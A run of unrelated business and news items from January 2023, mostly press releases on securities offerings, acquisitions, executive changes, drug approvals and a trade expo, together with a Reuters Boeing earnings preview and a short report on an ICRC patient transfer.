The OEE supports students and faculty year-round with programs like Educational Equity Webinar Series, Inclusive Leadership Summit and an internal offering for staff and faculty, The Inclusive Cafe. The Universitys second annual Inclusive Leadership Summit and Career Fair, May 2-4, 2023, will focus on developing skills as an inclusive leader and providing opportunities for networking connection and employment. The virtual event is free, open to the public, and is designed to bring together participants and leaders across industries to explore how to prioritize mental health and belonging at the core of strategic operations in the workplace.

Learn more here about Social Roots, LLC.

About University of Phoenix

University of Phoenix is continually innovating to help working adults enhance their careers in a rapidly changing world. Flexible schedules, relevant courses, interactive learning, and Career Services for Life help students more effectively pursue career and personal aspirations while balancing their busy lives. For more information, visit phoenix.edu.

View source version on businesswire.com: https://www.businesswire.com/news/home/20230124006037/en/

Sharla Hooper

University of Phoenix

[email protected]

Michele Mitchum

University of Phoenix

[email protected]

Source: University of Phoenix
enCore Energy Corp. ("enCore" or the "Company") (NYSE: EU) (TSXV: EU) today announced that it has filed a preliminary short form prospectus in connection with an overnight marketed offering (the "Offering") of units (the "Units") of the Company. The Offering will be conducted through a syndicate of underwriters led by Canaccord Genuity (collectively, the "Underwriters").

Each Unit will consist of one common share in the capital of the Company (each a "Unit Share") and one-half of one common share purchase warrant (each a "Warrant"). Each Warrant will entitle the holder thereof to purchase one common share of the Company (a "Warrant Share").

The definitive size and pricing of the Offering, as well as the terms of the Warrants, will be determined in the context of the market at the time of entering into a definitive underwriting agreement between the Company and the Underwriters. The closing of the Offering will be subject to market and other customary conditions, including approvals of the TSX Venture Exchange and the NYSE American.

In addition, the Company has granted the Underwriters an option to purchase up to an additional 15% of the Units of the Offering on the same terms and conditions exercisable at any time, in whole or in part, until 30 days following the closing of the Offering, for market stabilization purposes and to cover over-allotments, if any.

The Company expects to use the net proceeds from the Offering to maintain and advance the Company's material properties, acquire properties, plant upgrades, drilling, maintenance and refurbishment, community outreach and communications, licensing and permitting and for general corporate and working capital purposes in the manner as set forth in the preliminary short form prospectus. In addition, if the Company is not able to complete a potential loan transaction contemplated by a non-binding term sheet prior to February 15, 2023, the Company expects to use a portion of the proceeds from the Offering to fund amounts required to be paid to complete the Company's previously announced pending acquisition of the Alta Mesa ISR uranium project (the "Alta Mesa Acquisition").

The preliminary short form prospectus for the Offering of the Units has been filed with the securities commissions or similar securities regulatory authorities in each of the provinces of Canada except Quebec. A registration statement on Form F-10 (including such prospectus) (the "Registration Statement") has also been filed with the U.S. Securities and Exchange Commission (the "SEC") for the offering to which this communication relates but has not yet become effective. The preliminary short form prospectus and the Registration Statement contain important detailed information relating to the Company and the Offering. The preliminary prospectus is still subject to completion and amendment. There will not be any sale or acceptance of an offer to buy the securities until a receipt for the final prospectus has been issued and the Registration Statement becomes effective.

Before you invest, you should read the prospectus in that Registration Statement and other documents the Company has filed with the SEC for more complete information about the Company and this Offering. You may get these documents for free by visiting EDGAR on the SEC Web site at www.sec.gov and SEDAR at www.sedar.com. Alternatively, the issuer, any underwriter or any dealer participating in the offering will arrange to send you the prospectus if you request it in Canada from Canaccord Genuity Corp., 40 Temperance Street, Suite 2100, Toronto, ON M5H 0B4 and in the United States from Canaccord Genuity LLC, 99 High Street, Suite 1200, Boston, Massachusetts 02110, Attn: Syndicate Department, by telephone at (617) 371-3900, or by email at [email protected].
International Paper (NYSE: IP) today announced that it has entered into an agreement to sell its 50% interest in Ilim SA, the holding company for its Ilim joint venture (JV), to its JV partners for $484MM (USD) equity value. The sale is subject to regulatory approvals in Russia.

This transaction indicates ~$3.5 billion in total enterprise value (TEV) for Ilim based on a ~3.1X EBITDA multiple on 2022 full-year results*.

The Company also received an indication of interest from its JV partners to purchase all of the Company's shares (constituting a 2.39% stake) in JSC Ilim Group for $24MM (USD) on terms and conditions to be agreed. The Company intends to pursue an agreement to sell the JSC Ilim Group shares, and to divest other non-material residual interests associated with Ilim, to its JV partners.

Additional information will be communicated when available.

*2022 full-year unaudited results are $1.11B EBITDA; As of 12/31/22, the unaudited TEV includes $2.45B net debt
Matador Resources Company (NYSE: MTDR) (Matador or the Company) today announced that a wholly-owned subsidiary of Matador has entered into a definitive agreement to acquire Advance Energy Partners Holdings, LLC (Advance), including certain oil and natural gas producing properties and undeveloped acreage located in Lea County, New Mexico and Ward County, Texas (the Advance Transaction). The consideration for the Advance Transaction will consist of an initial cash payment of $1.6 billion, subject to customary closing adjustments, plus additional cash consideration of $7.5 million for each month during 2023 in which the average oil price as defined in the securities purchase agreement exceeds $85 per barrel. Advance is a portfolio company of EnCap Investments L.P. (EnCap).

The Advance Transaction is subject to customary closing conditions and is expected to close early in the second quarter of 2023 with an effective date of January 1, 2023. A short slide presentation summarizing the Advance Transaction is also included on the Companys website at www.matadorresources.com on the Events and Presentations page under the Investor Relations tab. Matadors management will host a live conference call to discuss the Advance Transaction on Tuesday, January 24, 2023 at 10:00 am Central Time. Further details are provided at the end of this press release.

Joseph Wm. Foran, Matadors Founder, Chairman and CEO, commented, Matador is very excited by this strategic bolt-on opportunity as well as the opportunity to work with Advance and EnCap. We view this transaction as a unique value-creating opportunity for Matador and its shareholders. We evaluated this transaction based on rock quality, the strong existing production and cash flow profile, the potential reserves additions, the high-quality inventory, the available midstream opportunities and the strategic fit within our existing portfolio of properties. We intend to fund the Advance Transaction with a combination of cash on hand, free cash flow prior to closing and borrowings under our credit agreement, under which we expect to increase our elected commitment in connection with this transaction. Importantly, this acquisition should not significantly impact Matadors leverage profile, as we expect to maintain a pro forma leverage ratio below 1.0x throughout 2023. In late November 2022, as part of the fall 2022 redetermination process, Matadors lenders completed their review of the Companys proved oil and natural gas reserves at June 30, 2022. As a result, the borrowing base under our credit agreement was increased by 13% from $2.0 billion to $2.25 billion.

Transaction Highlights

Expected to generate forward one-year Adjusted EBITDA1 of approximately $475 to $525 million at strip prices as of mid-January 2023, which represents an attractive purchase price multiple of 3.2x

Accretive to relevant key financial and valuation metrics

Significant increase in pro forma drilling locations in primary development zones

Provides upside related to potential midstream opportunities for Pronto Midstream, LLC (Pronto), Matadors wholly-owned midstream subsidiary, which operates in this area of Lea County, New Mexico

PV-10 (present value discounted at 10%)2 at December 31, 2022 of $1.92 billion on total proved oil and natural gas reserves utilizing strip pricing as of mid-January 2023, which is in excess of the $1.6 billion purchase price PV-102 of proved developed (PD) oil and natural gas reserves at December 31, 2022 of $1.14 billion, or approximately $45,600 per flowing BOE, utilizing strip pricing as of mid-January 2023

Preserves Matadors strong balance sheet with leverage expected to remain below 1.0x, allowing Matador to maintain operational and financial flexibility while continuing to return value to shareholders through its fixed quarterly dividend

Asset Highlights

Estimated production in the first quarter of 2023 of 24,500 to 25,500 barrels of oil and natural gas equivalent (BOE) per day (74% oil)

Approximately 18,500 net acres (99% held by production) in the core of the northern Delaware Basin, most of which is strategically located in Matadors Ranger asset area in Lea County, New Mexico near Matadors existing properties

406 gross (203 net) horizontal locations identified for future drilling, including prospective targets throughout the Wolfcamp, Bone Spring and Avalon formations Include 21 gross (20 net) drilled but uncompleted wells (DUCs) expected to be turned to sales in the second half of 2023 Include 206 gross (174 net) operated locations (84% working interest) and 200 gross (29 net) non-operated locations (15% working interest) Locations are consistent with Matadors methodology for estimating inventory with typically three to four (or fewer) locations per section, or the equivalent of 160-acre (or greater) spacing, in all prospective completion intervals 38 gross (35 net) additional upside locations in the Wolfcamp D formation Conducive to drilling longer laterals with an expected average lateral length for operated locations of approximately 9,400 feet

Advance is currently utilizing one drilling rig to drill 21 gross (19 net) wells in the northern portion of Matadors Antelope Ridge asset area in Lea County, New Mexico, but these wells are not expected to be turned to sales until early 2024

Estimated drilling, completing and equipping (D/C/E) capital expenditures of $300 to $350 million in 2023 based upon one drilling rig operating on the Advance properties, Includes anticipated completion costs for the 21 gross DUCs noted above Approximately $225 to $275 million is expected to be incurred between the anticipated closing date and year end 2023



Matador estimates total proved oil and natural gas reserves associated with these properties of approximately 106.4 million BOE (73% oil) at December 31, 2022. PV-102 of the proved oil and natural gas reserves of these properties at December 31, 2022 was approximately $2.86 billion using the same unweighted arithmetic average first-day-of-the-month prices for the previous 12-month period being used to value the Companys reserves at December 31, 2022, which are $90.15 per barrel of oil and $6.36 per MMBtu of natural gas. Matador expects to add future proved reserves and reserves value as a result of the development of these properties going forward. These reserves estimates were prepared by Matadors engineering staff and audited by Netherland, Sewell & Associates, Inc., independent reservoir engineers.

Mr. Foran further commented, We have carefully managed and strengthened our balance sheet over time in order to be in a position for a special opportunity like this. The specific location and quality of these select assets, the strong existing cash flow, the multi-pay potential, the cost savings associated with developing these assets via longer laterals on multi-well pads with centralized facilities, the midstream synergies with Pronto and the held-by-production status of the acreage were key features that attracted us to this unique opportunity and should significantly enhance our already strong Delaware Basin portfolio. This acquisition also provides us with increased operational scale in the Delaware Basin, which we expect will improve our overall rates of return and unit-of-production costs.

Gary Petersen is one of the Founders and Managing Partners of EnCap. I have known Gary for many years. Gary is one of the people I have most admired and respected in our industry. We have always wanted to do a deal like this together. The relationship with Gary was critical to the smooth negotiation of this transaction, and I want to thank Gary, the other individuals at EnCap, the Advance team and the Matador team for their hard work and integrity in reaching a deal that is a win-win for both parties. We also appreciate the support of our other friends and shareholders, and we look forward to the additional opportunities and free cash flow that this new acreage will provide for Matador.

Conference Call Information

Management will host a live conference call to discuss the Advance Transaction on Tuesday, January 24, 2023 at 10:00 am Central Time. To access the live conference call by phone, you can use the following link https://register.vevent.com/register/BId769e220508c4d2ca6aa8480e2b08f0a and you will be provided with dial-in details after registering. To avoid delays, it is recommended that participants dial into the conference call at least 15 minutes ahead of the scheduled start time.

The live conference call will also be available through the Companys website at www.matadorresources.com on the Events and Presentations page under the Investor Relations tab. The replay for the event will be available on the Companys website at www.matadorresources.com on the Events and Presentations page under the Investor Relations tab for one year following the date of the conference call.

Advisors

Baker Botts LLP served as legal advisor to Matador for the transaction. Vinson & Elkins LLP served as legal advisor and JP Morgan served as financial advisor to Advance.
FILE PHOTO: An aerial view of a Boeing 777X airplane (top) parked next to Boeing 737 MAX 10 airplanes at King County International Airport-Boeing Field in Seattle, Washington, U.S, June 1, 2022. REUTERS/Lindsey Wasson/File Photo

By Valerie Insinna and David Shepardson

WASHINGTON (Reuters) - As Boeing battles disruption in its supply chains, investors will be looking for the largest U.S. planemaker to satisfy questions about its planned ramp-up for commercial jets and set aside concerns over losses in major defense projects when it reports earnings Wednesday.

Boeing has seen 737 MAX customer demand recover briskly after two crashes and the COVID-19 pandemic battered the airline industry. Chief Executive Dave Calhoun said in October Boeing has mitigated these existential moments.

Boeing is expected to report an increase in fourth-quarter revenue to $20.38 billion from $14.79 billion in the same quarter last year, with earnings of 26 cents a share, according to Refinitiv data.

However, analysts warn Boeing still faces major risk to increasing aircraft production, as supply chain recovery and additional regulatory requirements could delay schedules.

"It's not just a simple production recovery story," said Aerodynamic Advisory analyst Richard Aboulafia, who pointed to Boeing's backlog of hundreds of undelivered 737 and 787 planes sitting in storage.

Boeing plans to increase production of its flagship 737 MAX family of narrowbody airliners, which make up most of the company's sales volume, from 31 planes a month to about 50 by 2025. Executives previously pointed to supply chain bottlenecks as the major driver for lagging 737 MAX production, and investors will be listening for details about how many aircraft are expected to be manufactured and delivered this year.

Investors will also be looking for Boeing to shed light on why it is taking so long to deliver MAX planes sitting in storage. The Federal Aviation Administration is still individually inspecting each MAX before it can be delivered.

"It does look like that is not progressing as quickly as they would like, Vertical Research analyst Robert Stallard said.

The 787 Dreamliner program, which restarted deliveries in August after an 11-month pause, faces similar questions about its planned increase to 10 widebody planes a month by 2025.

Boeing aims to gradually grow production of the 787 to five a month, but slowed production after a December parts delay, Reuters previously reported.

In order to receive FAA approval to restart 787 deliveries, Boeing agreed to retrofit planes to meet certification requirements and submit those aircraft for FAA inspections ahead of delivery. Investors may question whether those requirements could potentially drive additional costs.

Boeing delivered 480 airplanes in 2022, trailing rival Airbus's 661. Both planemakers fell below analysts' expectations.

Over the first three quarters of 2022, Boeing racked up about $4.4 billion in losses on defense programs, with high manufacturing costs and labor shortages. Investors are skeptical Boeing can remain on cost and schedule in that business.

(Reporting by Valerie Insinna and David Shepardson, editing by Ben Klayman and Nick Zieminski)
TORONTO, Jan. 24, 2023 (GLOBE NEWSWIRE) -- Alkaline Fuel Cell Power Corp. (NEO: PWWR) (OTCQB: ALKFF) (Frankfurt: 77R, WKN: A3CTYF) ("AFCP" or the "Company"), a diversified investment platform developing affordable, renewable, and reliable energy assets and cleantech, announces the resignation of Joel Dumaresq as director, effective January 12, 2023. Mr. Dumaresq will remain as the Chief Financial Officer of the Company while the Company seeks a suitable replacement.

ABOUT ALKALINE FUEL CELL POWER CORP.

The Company is a diversified investment platform developing affordable, renewable, and reliable energy assets and cleantech. We bring Power to the People today, combining a stable revenue stream with a future- forward vision to commercialize our advanced hydrogen fuel cell technology to meet the massive global market need, and ultimately generate compelling returns for investors.

The Company operates through two global entities: Fuel Cell Power NV, a wholly owned subsidiary in Belgium, and PWWR Flow Streams (PWWR Flow), a Company brand in Canada.

Fuel Cell Power NV is focused on the development, production and commercialization of micro- combined heat and power (micro-CHP) systems and off-grid and back-up power generators based on advanced alkaline fuel cell technology that generates zero CO2 emissions. Fuel Cell Power NV is working through milestones to deliver a commercialized alkaline fuel cell in 2024.

is focused on the development, production and commercialization of micro- combined heat and power (micro-CHP) systems and off-grid and back-up power generators based on advanced alkaline fuel cell technology that generates zero CO2 emissions. Fuel Cell Power NV is working through milestones to deliver a commercialized alkaline fuel cell in 2024. PWWR Flow is focused on the development, ownership and operations of combined heat and power (CHP) assets. PWWR Flow assets deliver efficiency improvements of over 20% with reduced costs to customers in multi-residential and commercial applications. PWWR Flow has contracted existing CHP assets in Toronto, Canada, and has an additional pipeline of potential contracts valued at over $50 million currently in development.

The Company is well positioned to deliver Power to the People in the global energy transition while offering a diversified cleantech growth platform for investors.

Further information is available on the Company website at https://www.fuelcellpower.com/, and the Company encourages investors and other interested stakeholders to follow it on:

LinkedIn, Twitter, Facebook, Instagram and YouTube. Common shares are listed for trading on the NEO under the symbol PWWR, the OTC Venture Exchange OTCQB under the symbol ALKFF and on the Frankfurt Exchange under symbol 77R and WKN A3CTYF.

For further information, please contact:

Frank CarnevaleChief Executive Officer+1 (647) 531-8264[email protected]

Forward-Looking Information

This news release contains forwardlooking statements and forwardlooking information within the meaning of applicable securities laws. These statements relate to future events or future performance. All statements other than statements of historical fact may be forwardlooking statements or information. In certain cases, forward-looking statements can be identified by the use of words such as plans, expects or does not expect, is expected, estimates, forecasts, intends, anticipates, believes or variations of such words and phrases or statements that certain actions, events or results may, could, would, might, occur or achieve. Forward-looking statements may include, but are not limited to, statements with respect to the Companys technology, intellectual property, business plan, objectives and strategy.

Forward-looking statements and information are provided for the purpose of providing information about the current expectations and plans of management of the Company relating to the future. Readers are cautioned that reliance on such statements and information may not be appropriate for other purposes, such as making investment decisions. Since forwardlooking statements and information address future events and conditions, by their very nature they involve inherent risks and uncertainties. Actual results could differ materially from those currently anticipated due to a number of factors and risks. Accordingly, readers should not place undue reliance on the forwardlooking statements and information contained in this news release. Readers are cautioned that the foregoing list of factors is not exhaustive. The forwardlooking statements and information contained in this news release are made as of the date hereof and no undertaking is given to update publicly or revise any forwardlooking statements or information, whether as a result of new information, future events or otherwise, unless so required by applicable securities laws. The forward-looking statements or information contained in this news release are expressly qualified by this cautionary statement.

NEITHER THE NEO EXCHANGE NOR ITS REGULATION SERVICES PROVIDER (AS THAT TERM IS DEFINED IN THE POLICIES OF THE NEO EXCHANGE) ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS RELEASE.

Source: Alkaline Fuel Cell Power Corp.
April 11, 2023 13:31

ICRC transfers 15 patients from Stepanakert to Yerevan

Due to the blocking by Azerbaijan of the only road connecting Artsakh with Armenia,15 patients from the Republican Medical Center the Republic of Artsakh with serious diseases of the oncology as well as pathologies requiring emergency surgical interventions and post- implantation correction have been transported today, to specialized medical institutions of the Republic of Armenia with the mediation and escort of the International Committee of the Red Cross, the Healthcare Ministry of Artsakh reported.
The aggregate German, Irish and Dutch market for erectile dysfunction (ED) market exceeds $175 million

Aspargo plans to launch Sildenafil Spray in Germany, Ireland, and the Netherlands under the brand name, HEZKUE

Aspargos Sildenafil Spray offers a convenient, discreet option for men with erectile dysfunction

ENGLEWOOD CLIFFS, N.J., Jan. 24, 2023 (GLOBE NEWSWIRE) -- Aspargo Laboratories, Inc. (Aspargo), a privately held specialty pharmaceutical company focused on commercializing innovative formulations of leading tablet medications, announced today that the German Federal Institute for Drugs and Medical Devices has authorized the marketability of Hezkue 12.5 mg per actuation, oral suspension in Germany effective as of January 12, 2023. The German market  the largest in the EU  represents an important element of Aspargos global expansion strategy. Recently, Aspargo received corresponding approvals in Ireland and the Netherlands.

These product approvals reflect Aspargos commitment to quickly expand its global platform to the EU during 2023, said Michael Demurjian, Aspargos Chairman and Chief Executive Officer. The Marketing Authorizations are an important achievement. They validate Aspargos international regulatory strategy and confirm that Aspargo meets the highest standards required to ensure the safe distribution of sildenafil spray.

Aspargo developed the brand name, HEZKUE, with assistance from its commercialization consultant, Syneos Health, a global biopharma solutions organization, following focus groups and surveys with physicians, pharmacists, and patients. The criteria used to select the brand name included first impressions, spelling and pronunciation, interpretation, attributes, favorite name and recall. Brand names used to market a drug are subject to approval of the respective health authorities in each country.

Sildenafil Spray is an oral liquid suspension of sildenafil citrate administered via a spray pump that dispenses 12.5 mg of sildenafil per push. Aspargo uses a metered-dose container that delivers the precise amount of sildenafil citrate per push based on patient need. The discreet and easy-to-carry oral spray allows the user to customize dosing and avoid pill splitting or crushing attendant with the traditional tablet medication.

Erectile dysfunction is characterized by the persistent difficulty achieving and maintaining an erection sufficient to have sexual intercourse. While the prevalence of ED has been shown to increase with age, a recent study conducted by the Sexual Medicine and Andrology Unit of the University of Florence, Italy, showed that ED in younger men is likely to be overlooked and dismissed without a proper medical assessment.

About Aspargo Laboratories, Inc.

Aspargo Laboratories, Inc., located in Englewood Cliffs, New Jersey, is a commercial stage, specialty pharmaceutical company. Aspargos current focus is to commercialize an oral spray formulation of sildenafil citrate, the active ingredient in Viagra. Aspargo is the US and international licensee of the patent rights covering Sildenafil Spray from Farmalider, S.A. of Madrid, Spain (www.farmalider.com). For additional information, please visit our website at https://aspargolabs.com/.

Forward-Looking Statements

All statements other than statements of historical facts contained in this press release are forward-looking statements. Forward-looking statements reflect management's current knowledge, assumptions, judgment, and expectations regarding future performance or events. Although management believes that the expectations reflected in such statements are reasonable, they give no assurance that such expectations will prove to be correct, and you should be aware that actual events or results may differ materially from those contained in the forward- looking statements. Words such as "will," "expect," "intend," "plan," "potential," "possible," "goals," "accelerate," "continue," and similar expressions identify forward-looking statements.

Forward-looking statements are subject to a number of risks and uncertainties including, but not limited to, the risks inherent in our lack of profitability and need for additional capital; our dependence on partners to further the development of our product candidates; the uncertainties inherent in the development, attainment of the requisite regulatory authorizations and approvals and launch of any new pharmaceutical product; the outcome of pending or future litigation or arbitration; and the various risks and uncertainties described in the "Risk Factors" sections of our Confidential Private Placement Memorandum of October 19, 2022.

All forward-looking statements are expressly qualified in their entirety by this cautionary notice. You should not rely upon any forward-looking statements as predictions of future events. We undertake no obligation to revise or update any forward-looking statements made in this press release to reflect events or circumstances after the date hereof, to reflect new information or the occurrence of unanticipated events, or to update the reasons why actual results could differ materially from those anticipated in the forward-looking statements, in each case, except as required by law.

Contact: Aspargo Laboratories, Inc.(201) 408-4831[email protected]

Source: Aspargo Laboratories, Inc.
To facilitate a seamless transition in leadership, Ms. Dottori-Attanasio will join Element on February 15, 2023, initially as President

Mr. Forbes will work closely with Ms. Dottori-Attanasio over the next 3 months until his retirement on May 10, 2023, when Ms. Dottori-Attanasio will assume the CEO role

Mr. Forbes will remain a strategic advisor to Ms. Dottori-Attanasio and to the Chair of the Board of Element for 2 years following Mr. Forbes retirement

TORONTO, Jan. 23, 2023 (GLOBE NEWSWIRE) -- Element Fleet Management Corp. (TSX: EFN) (Element or the Company) announced today that President and CEO Jay Forbes has decided to retire at the time of the Companys Annual General Meeting on May 10, 2023. Concurrent with Mr. Forbess decision, Elements Board of Directors has appointed Laura Dottori-Attanasio to succeed Mr. Forbes. To facilitate a seamless transition in leadership, Ms. Dottori-Attanasio will join Element on February 15th initially as President before assuming the CEO role on May 10, 2023. In addition, Mr. Forbes has agreed to serve as a strategic advisor to the CEO and Board Chair for a two-year period post his retirement.

Element Chair David Denison said: On behalf of the Board, I want to thank Jay for the remarkable track record of success he has achieved over the course of his tenure as CEO. Before joining the Company in June 2018, Jay recognized the potential in Elements underlying business model and had the personal conviction and courage to take on the challenge of realizing that potential at a time of great uncertainty for the Company. Jay initially led a comprehensive transformation of all aspects of the Companys operations, put in place a high-performance leadership team and culture, and strengthened its financial position by achieving an investment grade credit rating. Having solidified the Companys foundation, Jay then orchestrated a pivot to growth which, despite the considerable headwinds posed by the pandemic and new vehicle production shortages, has led to record operating and financial performance for Element. One of the clearest indications of Jays positive impact on the Company is the fact that Elements market capitalization has increased almost fourfold during his time as CEO.

Knowing Jays intentions, the Board launched a formal succession process during 2022, and we are absolutely delighted it has culminated in our appointment of Laura Dottori-Attanasio. Ms. Dottori-Attanasio has had an extensive and very successful career to date within the financial services sector, including serving in a number of senior roles within Canadian Imperial Bank of Commerce over the past 14 years. Most recently, she served as Senior Executive Vice-President, and Head of Personal and Business Banking overseeing a team of 12,600 employees in the delivery of advice, services and products that generated $8.2 billion in annual revenue. Ms. Dottori-Attanasios proven track record of success in leading complex organizations and operations, coupled with her familiarity with the Element organization, ideally positions her to assume the CEO role and further advance our growth strategy going forward.

Incoming President and CEO, Ms. Dottori-Attanasio said: Having known the company for some time, I am impressed by what Jay and the Element team have accomplished, firstly through the transformation and now through the pivot to profitable revenue growth. She added I am both honored and excited to join the team and build on the impressive momentum created to-date.

About Element Fleet Management

Element Fleet Management (TSX: EFN) is the largest pure-play automotive fleet manager in the world, providing the full range of fleet services and solutions to a growing base of loyal, world-class clients  corporates, governments and not-for-profits  across North America, Australia and New Zealand. Element enjoys proven resilient cash flow, a significant proportion of which is returned to shareholders in the form of dividends and share buybacks; a scalable operating platform that magnifies revenue growth into earnings growth; and an evolving capital-lighter business model that enhances return on equity. Elements services address every aspect of clients fleet requirements, from vehicle acquisition, maintenance, accidents and remarketing, to integrating EVs and managing the complexity of gradual fleet electrification. Clients benefit from Elements expertise as the largest fleet solutions provider in its markets, offering unmatched economies of scale and insight used to reduce fleet operating costs and improve productivity and performance. For more information, visit www.elementfleet.com/investors.

This press release includes forward-looking statements regarding Element and its business. Such statements are based on the current expectations and views of future events of Elements management. In some cases the forward-looking statements can be identified by words or phrases such as may, will, expect, plan, anticipate, intend, potential, estimate, believe or the negative of these terms, or other similar expressions intended to identify forward-looking statements, including, among others, statements regarding Elements enhancements to clients service experience and service levels; enhancement of financial performance; improvements to client retention trends; reduction of operating expenses; increases in efficiency; EV strategy and capabilities; global EV adoption rates; redemption of the Series I Shares; dividend policy and the payment of future dividends; creation of value for all stakeholders; expectations regarding syndication; growth prospects and expected revenue growth; level of workforce engagement; improvements to magnitude and quality of earnings; executive hiring and retention; focus and discipline in investing; balance sheet management and plans to reduce leverage ratios; anticipated benefits of the balanced scorecard initiative; Elements proposed share purchases, including the number of common shares to be repurchased, the timing thereof and TSX acceptance of the NCIB and any renewal thereof; and expectations regarding financial performance. No forward-looking statement can be guaranteed. Forward-looking statements and information by their nature are based on assumptions and involve known and unknown risks, uncertainties and other factors which may cause Element's actual results, performance or achievements, or industry results, to be materially different from any future results, performance or achievements expressed or implied by such forward-looking statement or information. Accordingly, readers should not place undue reliance on any forward-looking statements or information. Such risks and uncertainties include those regarding the ongoing COVID-19 pandemic, risks regarding the fleet management and finance industries, economic factors and many other factors beyond the control of Element. A discussion of the material risks and assumptions associated with this outlook can be found in Element's annual MD&A, and Annual Information Form for the year ended December 31, 2021, each of which has been filed on SEDAR and can be accessed at www.sedar.com. Except as required by applicable securities laws, forward-looking statements speak only as of the date on which they are made and Element undertakes no obligation to publicly update or revise any forward-looking statement, whether as a result of new information, future events, or otherwise.

For investor inquiries: Michael Barrett Vice President, Investor Relations [email protected] For media inquiries: Samantha Ouimet Vice President, Communications [email protected]

Source: Element Fleet Management
Helsinn and Immedica enter exclusive partnership for commercialisation of cancer supportive care products

in core European markets

LUGANO, Switzerland and STOCKHOLM, Sweden  January 24, 2023  Helsinn Group (Helsinn), a fully integrated global biopharma company with a track record of over forty years of commercial execution and a strong focus in oncology and rare diseases, and Immedica Pharma AB, a pharmaceutical company focused on commercialisation of rare and specialty care products, today announce that the companies have entered an exclusive long-term license and distribution agreement for the commercialisation of two cancer supportive care products indicated for the prevention of chemotherapy-induced nausea and vomiting (CINV) in core European markets: AKYNZEO (Netupitant-Palonosetron fixed combination) and ALOXI (Palonosetron). Under the licence and distribution agreement Immedica will commercialise AKYNZEO in Portugal, Spain, France, Switzerland, the Netherlands, Belgium, Luxembourg and Liechtenstein, ALOXI in Switzerland, Belgium, Liechtenstein.

Anders Edvell, CEO of Immedica commented: We are very pleased to have signed this agreement with Helsinn. Side-effects of cancer treatments have a significant impact on the quality of life of these severely ill patients. AKYNZEO and ALOXI are also an important addition to Immedicas Oncology & Haematology portfolio.

Dr. Melanie Rolli, Helsinn Group CEO, commented: This partnership will provide important treatment options for CINV across Europe. We look forward to working closely with Immedica in the months and years ahead to ensure more and more patients can access these important supportive care products.

About AKYNZEO

AKYNZEO is the first and only 5-HT 3 and NK 1 receptor antagonist fixed combination approved in Europe in adults for the prevention of acute and delayed nausea and vomiting associated with cisplatin-based highly emetogenic chemotherapy and moderately emetogenic chemotherapy.

AKYNZEO is currently registered and available in more than 60 Countries

About ALOXI

ALOXI is approved in Europe in adults for the prevention of acute nausea and vomiting associated with highly emetogenic cancer chemotherapy and the prevention of nausea and vomiting associated with moderately emetogenic cancer chemotherapy. ALOXI is also indicated in paediatric patients 1 month of age and older for the prevention of acute nausea and vomiting associated with highly emetogenic cancer chemotherapy and prevention of nausea and vomiting associated with moderately emetogenic cancer chemotherapy.

ALOXI is currently registered and available in more than 40 Countries.

About Immedica Pharma

Immedica is a fast-growing private niche pharma group, headquartered in Stockholm, Sweden

with commercial coverage across Europe and the Middle East.

Immedica provides significant know-how and experience from commercialization of niche/specialty care products across Europe and the Middle East, and the companys management team has an outstanding track record of operating niche pharma products internationally. Immedica has capabilities to provide optimal access of specialty care medicines to patients with significant medical needs, including key areas such as regulatory affairs, pharmacovigilance, medical affairs, pricing & reimbursement, quality, and product distribution.

Immedicas main owner is Impilo AB, a private Nordic investment company established in 2017, with more than SEK 10 billion in committed capital from leading Nordic and international investors.

For more information visit www.immedica.com.

About Helsinn

Helsinn is a fully integrated global biopharma company headquartered in Lugano, Switzerland. It is focused on improving the lives of cancer patients all over the world with a leading position in cancer supportive care and a focus on cancer therapeutics and rare diseases.

Helsinn is a third-generation family-owned company, that since 1976 has been focused on improving the lives of patients, guided by core values of respect, integrity and quality. Helsinns unique business model enables it to in-license or acquire assets at a late stage of development. It has a commercial presence in 190 countries either directly, with operating subsidiaries in the U.S. and China, or via its network of long-standing trusted partners. Helsinn also has a fully integrated supply chain and product development through its subsidiary in Ireland, Helsinn Birex Pharmaceuticals Ltd.

Helsinn plays an active and central role in promoting social transformation in favor of people and the environment. Sustainability is at the heart of everything we do, which is reinforced in the companys strategic plan by a commitment to sustainable growth.

To learn more about Helsinn please visit: www.helsinn.com

For more information:

Immedica

Linda Holmstrom

Head of Communication

e-mail: [email protected]

Phone: + 46 708 73 40 95

Helsinn Group Media Contact:

Paola Bonvicini

Group Head of Communication

Lugano, Switzerland

Tel: +41 (0) 91 985 21 21

Email: [email protected]
Canadas Leading hospitality and foodservice expo launches new culinary competitions, elevated pop-up experience, cutting-edge innovation, menu solutions and much more

Toronto, Jan. 24, 2023 (GLOBE NEWSWIRE) -- Serving up everything you are craving, as well as a few things you didnt know you needed. RC Show, Canadas leading hospitality and foodservice expo is ready to cook up a storm at Torontos Enercare Centre from April 10-12.



With this years theme, Heart & Hustle on full display, the show has turned out all the stops, ready to showcase culinary innovation and groundbreaking talent, the heartbeat of the industry, as well as the hustle of those who work front and back of house to continue to fuel and shape our experiences at every turn.

Heres what RC Show is cooking up this year:



New and Noteworthy

Calling all pizza chefs, pizzaiolos, or pizzaioli! Restaurants Canada, Ardent Mills, and Lactalis Canada Foodservice continue to invest in the culinary leaders of tomorrow by searching for the countrys top and emerging pizza talent with the launch of the Restaurants Canada Pizza Competition. Finalists will have the chance to stretch their skills for an esteemed panel of judges, with over $10,000 in cash and prizes available to be won. See for yourself who really has the best crust, sauce, cheese, toppings, overall taste, and creativity, or put your pizza-making skills to the test and see if youre Canadas next pizza tastemaker. Submissions are now open. The deadline to apply is February 28, 2023, at 11:59 p.m. EST.

Competitions Are Heating Up

Think you have what it takes to be Team Canadas next culinary athlete? Heres your chance to compete, or witness history in the making. The Bocuse D'Or and the World Pastry Cup are the Oscars of the culinary world and theyre both coming to RC Show 2023. This years show will showcase the best chefs and bakers from coast to coast to find our national culinary athletes who will go to compete in what is described as the most demanding cooking competitions on earth. Chefs Canada is looking for one chef to head Bocuse dOr Canada and two bakers (one chocolate master and one sugar specialist) to take the reins of the World Pastry Cup for Team Canada. This year also marks the first time since 2007 that Canada will be represented at the World Pastry Cup!

A selection committee composed of some of Canadas top chefs will be selecting who will battle it out at RC Show before heading off to Lyon, France in 2024. Applicants have until 11:59 p.m. on Sunday, February 12, 2023, to submit their application.

Were thrilled to once again partner with the RC Show to find Team Canadas next stars, says Thomas Delannoy, President of Chefs Canada. We look forward to seeing top national talents come together on the Culinary Stage, for a chance to represent our country and shine the spotlight on the products, ingredients, and flavours that make Canada unique.



